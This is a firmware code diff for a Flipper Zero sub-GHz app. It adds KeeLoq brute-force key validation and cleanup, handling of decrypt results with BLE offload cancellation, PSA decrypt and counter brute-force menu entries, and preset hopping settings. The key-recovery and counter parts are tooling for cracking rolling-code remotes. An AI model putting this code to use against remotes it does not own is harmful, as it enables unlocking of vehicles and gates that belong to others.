||||
|
||||
char mf_str[20];
|
||||
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
|
||||
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
|
||||
|
||||
uint32_t cnt_val = ctx->recovered_cnt;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
|
||||
|
||||
if(ctx->hop2 != 0) {
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
|
||||
}
|
||||
|
||||
flipper_format_rewind(fff);
|
||||
subghz_protocol_decoder_base_deserialize(
|
||||
subghz_txrx_get_decoder(subghz->txrx), fff);
|
||||
|
||||
const char* save_path = NULL;
|
||||
if(subghz_path_is_file(subghz->file_path)) {
|
||||
save_path = furi_string_get_cstr(subghz->file_path);
|
||||
} else if(subghz_path_is_file(subghz->keeloq_bf2.sig1_path)) {
|
||||
save_path = furi_string_get_cstr(subghz->keeloq_bf2.sig1_path);
|
||||
}
|
||||
if(save_path) {
|
||||
subghz_save_protocol_to_file(
|
||||
subghz,
|
||||
subghz_txrx_get_fff_data(subghz->txrx),
|
||||
save_path);
|
||||
furi_string_set_str(subghz->file_path, save_path);
|
||||
}
|
||||
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
|
||||
} else if(!ctx->cancel) {
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false,
|
||||
"Key NOT found.\nNo matching key in\n2^32 search space.");
|
||||
} else {
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
|
||||
}
|
||||
return true;
|
||||
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
|
||||
if(ctx->ble_offload) {
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
|
||||
bt_custom_data_tx(bt, &cancel_msg, 1);
|
||||
furi_record_close(RECORD_BT);
|
||||
}
|
||||
ctx->cancel = true;
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
|
||||
if(ctx) {
|
||||
kl_ble_cleanup(ctx);
|
||||
ctx->cancel = true;
|
||||
furi_string_free(ctx->result);
|
||||
free(ctx);
|
||||
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
|
||||
}
|
||||
}
|
||||
141
applications/main/subghz/scenes/subghz_scene_kl_bf_cleanup.c
Normal file
@@ -0,0 +1,141 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/protocols/keeloq_common.h>
|
||||
|
||||
typedef struct {
|
||||
uint32_t serial;
|
||||
uint32_t fix;
|
||||
uint32_t hop;
|
||||
uint32_t hop2;
|
||||
uint8_t btn;
|
||||
uint16_t disc;
|
||||
size_t bf_indices[32];
|
||||
size_t bf_count;
|
||||
size_t valid_indices[32];
|
||||
size_t valid_count;
|
||||
} KlCleanupCtx;
|
||||
|
||||
static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
|
||||
uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
|
||||
if((dec >> 28) != btn) return false;
|
||||
uint16_t dec_disc = (dec >> 16) & 0x3FF;
|
||||
if(dec_disc == disc) return true;
|
||||
if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
|
||||
if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
|
||||
if(hop2 == 0) return true;
|
||||
if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
|
||||
uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
|
||||
uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
|
||||
uint16_t cnt1 = dec1 & 0xFFFF;
|
||||
uint16_t cnt2 = dec2 & 0xFFFF;
|
||||
int diff = (int)cnt2 - (int)cnt1;
|
||||
return (diff >= 1 && diff <= 256);
|
||||
}
|
||||
|
||||
void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
|
||||
memset(ctx, 0, sizeof(KlCleanupCtx));
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
uint8_t key_data[8] = {0};
|
||||
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
|
||||
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
|
||||
((uint32_t)key_data[2] << 8) | key_data[3];
|
||||
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
|
||||
((uint32_t)key_data[6] << 8) | key_data[7];
|
||||
ctx->serial = ctx->fix & 0x0FFFFFFF;
|
||||
ctx->btn = ctx->fix >> 28;
|
||||
ctx->disc = ctx->serial & 0x3FF;
|
||||
}
|
||||
|
||||
ctx->hop2 = 0;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
if(!subghz->keeloq_keys_manager) {
|
||||
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
|
||||
}
|
||||
|
||||
char bf_name[24];
|
||||
snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
|
||||
|
||||
size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
|
||||
ctx->bf_count = 0;
|
||||
ctx->valid_count = 0;
|
||||
|
||||
for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
|
||||
SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
|
||||
if(!k || !k->name) continue;
|
||||
const char* name = furi_string_get_cstr(k->name);
|
||||
if(strcmp(name, bf_name) == 0) {
|
||||
ctx->bf_indices[ctx->bf_count] = i;
|
||||
if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
|
||||
ctx->valid_indices[ctx->valid_count++] = i;
|
||||
}
|
||||
ctx->bf_count++;
|
||||
}
|
||||
}
|
||||
|
||||
FuriString* msg = furi_string_alloc();
|
||||
|
||||
if(ctx->bf_count == 0) {
|
||||
furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
|
||||
} else if(ctx->bf_count == 1) {
|
||||
furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
|
||||
} else if(ctx->valid_count == 1) {
|
||||
size_t deleted = 0;
|
||||
for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
|
||||
if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
|
||||
subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
|
||||
deleted++;
|
||||
}
|
||||
}
|
||||
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
|
||||
|
||||
furi_string_printf(msg,
|
||||
"Cleaned %u keys.\nKept valid key:\n%s",
|
||||
deleted, bf_name);
|
||||
} else if(ctx->valid_count == 0) {
|
||||
furi_string_printf(msg,
|
||||
"%u BF keys found\nbut none validates\nhop. Kept all.",
|
||||
ctx->bf_count);
|
||||
} else {
|
||||
furi_string_printf(msg,
|
||||
"%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
|
||||
ctx->bf_count, ctx->valid_count);
|
||||
}
|
||||
|
||||
widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
|
||||
furi_string_free(msg);
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
||||
}
|
||||
|
||||
bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
|
||||
UNUSED(context);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKlBfCleanup);
|
||||
if(ctx) {
|
||||
free(ctx);
|
||||
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
|
||||
}
|
||||
|
||||
widget_reset(subghz->widget);
|
||||
}
|
||||
@@ -45,25 +45,24 @@ bool subghz_scene_need_saving_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateBack);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
SubGhzRxKeyState state = subghz_rx_key_state_get(subghz);
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateIDLE);
|
||||
|
||||
if(state == SubGhzRxKeyStateExit) {
|
||||
if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneReadRAW)) {
|
||||
if(!furi_string_empty(subghz->file_path_tmp)) {
|
||||
subghz_delete_file(subghz);
|
||||
}
|
||||
}
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, "AM650", subghz->last_settings->frequency, NULL, 0);
|
||||
scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart);
|
||||
if(!scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart)) {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
} else {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -213,7 +213,12 @@ void subghz_scene_receiver_on_enter(void* context) {
|
||||
} else {
|
||||
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
|
||||
}
|
||||
subghz_txrx_mod_hopper_set_running(subghz->txrx, subghz->last_settings->enable_mod_hopping);
|
||||
|
||||
if(subghz->last_settings->enable_preset_hopping) {
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
|
||||
} else {
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
}
|
||||
|
||||
subghz_txrx_rx_start(subghz->txrx);
|
||||
subghz_view_receiver_set_idx_menu(subghz->subghz_receiver, subghz->idx_menu_chosen);
|
||||
@@ -242,6 +247,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
subghz_txrx_set_rx_callback(subghz->txrx, NULL, subghz);
|
||||
|
||||
if(subghz_rx_key_state_get(subghz) == SubGhzRxKeyStateAddKey) {
|
||||
@@ -302,8 +308,8 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz_txrx_hopper_update(subghz->txrx, subghz->last_settings->hopping_threshold);
|
||||
subghz_scene_receiver_update_statusbar(subghz);
|
||||
}
|
||||
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
|
||||
subghz_txrx_mod_hopper_update(subghz->txrx);
|
||||
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF) {
|
||||
subghz_txrx_preset_hopper_update(subghz->txrx, subghz->last_settings->preset_hopping_threshold);
|
||||
subghz_scene_receiver_update_statusbar(subghz);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/toolbox/value_index.h>
|
||||
#include <math.h>
|
||||
|
||||
#define TAG "SubGhzSceneReceiverConfig"
|
||||
|
||||
enum SubGhzSettingIndex {
|
||||
SubGhzSettingIndexFrequency,
|
||||
SubGhzSettingIndexHopping,
|
||||
SubGhzSettingIndexModulation,
|
||||
SubGhzSettingIndexModHopping,
|
||||
SubGhzSettingIndexHopping,
|
||||
SubGhzSettingIndexPresetHopping,
|
||||
SubGhzSettingIndexBinRAW,
|
||||
SubGhzSettingIndexIgnoreReversRB2,
|
||||
SubGhzSettingIndexIgnoreAlarms,
|
||||
@@ -81,6 +82,36 @@ const float hopping_mode_value[HOPPING_MODE_COUNT] = {
|
||||
-40.0f,
|
||||
};
|
||||
|
||||
#define PRESET_HOPPING_MODE_COUNT 12
|
||||
const char* const preset_hopping_mode_text[PRESET_HOPPING_MODE_COUNT] = {
|
||||
"OFF",
|
||||
"-90dBm",
|
||||
"-85dBm",
|
||||
"-80dBm",
|
||||
"-75dBm",
|
||||
"-70dBm",
|
||||
"-65dBm",
|
||||
"-60dBm",
|
||||
"-55dBm",
|
||||
"-50dBm",
|
||||
"-45dBm",
|
||||
"-40dBm",
|
||||
};
|
||||
const float preset_hopping_mode_value[PRESET_HOPPING_MODE_COUNT] = {
|
||||
NAN,
|
||||
-90.0f,
|
||||
-85.0f,
|
||||
-80.0f,
|
||||
-75.0f,
|
||||
-70.0f,
|
||||
-65.0f,
|
||||
-60.0f,
|
||||
-55.0f,
|
||||
-50.0f,
|
||||
-45.0f,
|
||||
-40.0f,
|
||||
};
|
||||
|
||||
#define COMBO_BOX_COUNT 2
|
||||
|
||||
const uint32_t hopping_value[COMBO_BOX_COUNT] = {
|
||||
@@ -153,6 +184,23 @@ uint8_t subghz_scene_receiver_config_next_preset(const char* preset_name, void*
|
||||
return index;
|
||||
}
|
||||
|
||||
uint8_t subghz_scene_receiver_config_preset_hopper_value_index(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhz* subghz = context;
|
||||
|
||||
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
|
||||
return 0;
|
||||
} else {
|
||||
variable_item_set_current_value_text(
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation),
|
||||
" -----");
|
||||
return value_index_float(
|
||||
subghz->last_settings->preset_hopping_threshold,
|
||||
preset_hopping_mode_value,
|
||||
PRESET_HOPPING_MODE_COUNT);
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_scene_receiver_config_hopper_value_index(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhz* subghz = context;
|
||||
@@ -213,19 +261,21 @@ static void subghz_scene_receiver_config_set_preset(VariableItem* item) {
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
|
||||
|
||||
const char* preset_name = subghz_setting_get_preset_name(setting, index);
|
||||
variable_item_set_current_value_text(item, preset_name);
|
||||
//subghz->last_settings->preset = index;
|
||||
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
|
||||
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
|
||||
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
|
||||
const char* preset_name = subghz_setting_get_preset_name(setting, index);
|
||||
variable_item_set_current_value_text(item, preset_name);
|
||||
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
|
||||
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
|
||||
|
||||
//Edit TX power, if necessary.
|
||||
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
|
||||
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
|
||||
subghz->last_settings->preset_index = index;
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
|
||||
subghz->last_settings->preset_index = index;
|
||||
} else {
|
||||
variable_item_set_current_value_index(item, subghz->last_settings->preset_index);
|
||||
}
|
||||
}
|
||||
|
||||
static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
|
||||
@@ -274,15 +324,57 @@ static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
|
||||
subghz->last_settings->hopping_threshold = hopping_mode_value[index];
|
||||
subghz_txrx_hopper_set_state(
|
||||
subghz->txrx, index != 0 ? SubGhzHopperStateRunning : SubGhzHopperStateOFF);
|
||||
|
||||
VariableItem* preset_hopping_item =
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexPresetHopping);
|
||||
variable_item_set_locked(
|
||||
preset_hopping_item,
|
||||
index != 0,
|
||||
"Turn off\nHopping\nfirst!");
|
||||
}
|
||||
|
||||
static void subghz_scene_receiver_config_set_mod_hopping(VariableItem* item) {
|
||||
static void subghz_scene_receiver_config_set_preset_hopping(VariableItem* item) {
|
||||
SubGhz* subghz = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
variable_item_set_current_value_text(item, combobox_text[index]);
|
||||
bool enabled = index == 1;
|
||||
subghz->last_settings->enable_mod_hopping = enabled;
|
||||
subghz_txrx_mod_hopper_set_running(subghz->txrx, enabled);
|
||||
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
|
||||
VariableItem* preset_item =
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation);
|
||||
|
||||
variable_item_set_current_value_text(item, preset_hopping_mode_text[index]);
|
||||
|
||||
if(index == 0) {
|
||||
SubGhzRadioPreset current_preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
const char* current_preset_name = furi_string_get_cstr(current_preset.name);
|
||||
int current_preset_index = subghz_setting_get_inx_preset_by_name(setting, current_preset_name);
|
||||
if(current_preset_index >= 0) {
|
||||
subghz->last_settings->preset_index = current_preset_index;
|
||||
}
|
||||
variable_item_set_current_value_text(preset_item, current_preset_name);
|
||||
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
|
||||
|
||||
subghz->last_settings->enable_preset_hopping = false;
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
} else {
|
||||
bool was_running = (subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateRunning);
|
||||
if(was_running) {
|
||||
subghz_txrx_preset_hopper_pause(subghz->txrx);
|
||||
}
|
||||
|
||||
subghz->last_settings->preset_hopping_threshold = preset_hopping_mode_value[index];
|
||||
|
||||
variable_item_set_current_value_text(preset_item, " -----");
|
||||
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
|
||||
|
||||
subghz->last_settings->enable_preset_hopping = true;
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
|
||||
}
|
||||
|
||||
VariableItem* hopping_item =
|
||||
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexHopping);
|
||||
variable_item_set_locked(
|
||||
hopping_item,
|
||||
index != 0,
|
||||
"Turn off\nPreset\nHopping\nfirst!");
|
||||
}
|
||||
|
||||
static void subghz_scene_receiver_config_set_speaker(VariableItem* item) {
|
||||
@@ -385,8 +477,9 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
|
||||
|
||||
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
|
||||
subghz->last_settings->enable_hopping = hopping_value[default_index];
|
||||
subghz->last_settings->enable_mod_hopping = false;
|
||||
subghz_txrx_mod_hopper_set_running(subghz->txrx, false);
|
||||
subghz->last_settings->enable_preset_hopping = false;
|
||||
subghz->last_settings->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
|
||||
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
|
||||
|
||||
variable_item_list_set_selected_item(subghz->variable_item_list, default_index);
|
||||
variable_item_list_reset(subghz->variable_item_list);
|
||||
@@ -451,16 +544,26 @@ void subghz_scene_receiver_config_on_enter(void* context) {
|
||||
variable_item_set_current_value_index(item, value_index);
|
||||
variable_item_set_current_value_text(item, hopping_mode_text[value_index]);
|
||||
|
||||
// Mod Hopping
|
||||
variable_item_set_locked(
|
||||
item,
|
||||
subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF,
|
||||
"Turn off\nPreset\nHopping\nfirst!");
|
||||
|
||||
value_index = subghz_scene_receiver_config_preset_hopper_value_index(subghz);
|
||||
item = variable_item_list_add(
|
||||
subghz->variable_item_list,
|
||||
"Mod Hopping",
|
||||
COMBO_BOX_COUNT,
|
||||
subghz_scene_receiver_config_set_mod_hopping,
|
||||
"Preset Hopping",
|
||||
PRESET_HOPPING_MODE_COUNT,
|
||||
subghz_scene_receiver_config_set_preset_hopping,
|
||||
subghz);
|
||||
value_index = subghz->last_settings->enable_mod_hopping ? 1 : 0;
|
||||
|
||||
variable_item_set_current_value_index(item, value_index);
|
||||
variable_item_set_current_value_text(item, combobox_text[value_index]);
|
||||
variable_item_set_current_value_text(item, preset_hopping_mode_text[value_index]);
|
||||
|
||||
variable_item_set_locked(
|
||||
item,
|
||||
subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF,
|
||||
"Turn off\nHopping\nfirst!");
|
||||
}
|
||||
|
||||
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=
|
||||
|
||||
@@ -133,21 +133,21 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
|
||||
}
|
||||
//CC1101 Stop RX -> Start TX
|
||||
subghz_txrx_hopper_pause(subghz->txrx);
|
||||
// key concept: we start endless TX until user release OK button, and after this we send last
|
||||
// protocols repeats - this guarantee that one press OK will
|
||||
// be guarantee send the required minimum protocol data packets
|
||||
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
subghz_block_generic_global.endless_tx = true;
|
||||
if(!subghz_tx_start(
|
||||
subghz,
|
||||
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen))) {
|
||||
subghz_txrx_rx_start(subghz->txrx);
|
||||
subghz_txrx_hopper_unpause(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateRx;
|
||||
} else {
|
||||
// key concept: we start endless TX until user release OK button, and after this we send last
|
||||
// protocols repeats - this guarantee that one press OK will
|
||||
// be guarantee send the required minimum protocol data packets
|
||||
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
subghz_block_generic_global.endless_tx = true;
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
|
||||
//CC1101 Stop Tx -> next tick event Start RX
|
||||
// user release OK
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
|
||||
enum SubmenuIndex {
|
||||
SubmenuIndexEmulate,
|
||||
SubmenuIndexPsaDecrypt,
|
||||
SubmenuIndexEdit,
|
||||
SubmenuIndexDelete,
|
||||
SubmenuIndexSignalSettings,
|
||||
SubmenuIndexPsaDecrypt,
|
||||
SubmenuIndexCounterBf
|
||||
};
|
||||
|
||||
@@ -17,7 +17,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
|
||||
void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
// Check protocol type for conditional menu items
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
bool is_psa_encrypted = false;
|
||||
bool has_counter = false;
|
||||
@@ -26,7 +25,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
flipper_format_rewind(fff);
|
||||
if(flipper_format_read_string(fff, "Protocol", proto)) {
|
||||
if(furi_string_equal_str(proto, "PSA GROUP")) {
|
||||
// Check if Type field is missing or zero (not yet decrypted)
|
||||
FuriString* type_str = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
if(!flipper_format_read_string(fff, "Type", type_str) ||
|
||||
@@ -39,37 +37,31 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
furi_string_free(proto);
|
||||
}
|
||||
|
||||
// Check if protocol has a Cnt field (supports counter bruteforce)
|
||||
if(fff) {
|
||||
uint32_t cnt_tmp = 0;
|
||||
flipper_format_rewind(fff);
|
||||
bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
|
||||
FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
|
||||
if(got_uint) {
|
||||
if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
|
||||
has_counter = true;
|
||||
} else {
|
||||
FuriString* cnt_str = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
|
||||
FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
|
||||
if(got_str && furi_string_size(cnt_str) > 0) {
|
||||
has_counter = true;
|
||||
}
|
||||
furi_string_free(cnt_str);
|
||||
}
|
||||
FuriString* proto_dbg = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_string(fff, "Protocol", proto_dbg);
|
||||
FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
|
||||
furi_string_free(proto_dbg);
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"Emulate",
|
||||
SubmenuIndexEmulate,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
if(!is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"Emulate",
|
||||
SubmenuIndexEmulate,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
if(is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"PSA Decrypt",
|
||||
SubmenuIndexPsaDecrypt,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
@@ -92,15 +84,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
|
||||
SubmenuIndexSignalSettings,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
};
|
||||
if(is_psa_encrypted) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
"PSA Decrypt",
|
||||
SubmenuIndexPsaDecrypt,
|
||||
subghz_scene_saved_menu_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
if(has_counter) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
@@ -126,6 +111,11 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexPsaDecrypt) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexDelete) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexDelete);
|
||||
@@ -141,11 +131,6 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexPsaDecrypt) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
|
||||
return true;
|
||||
} else if(event.event == SubmenuIndexCounterBf) {
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);
|
||||
|
||||
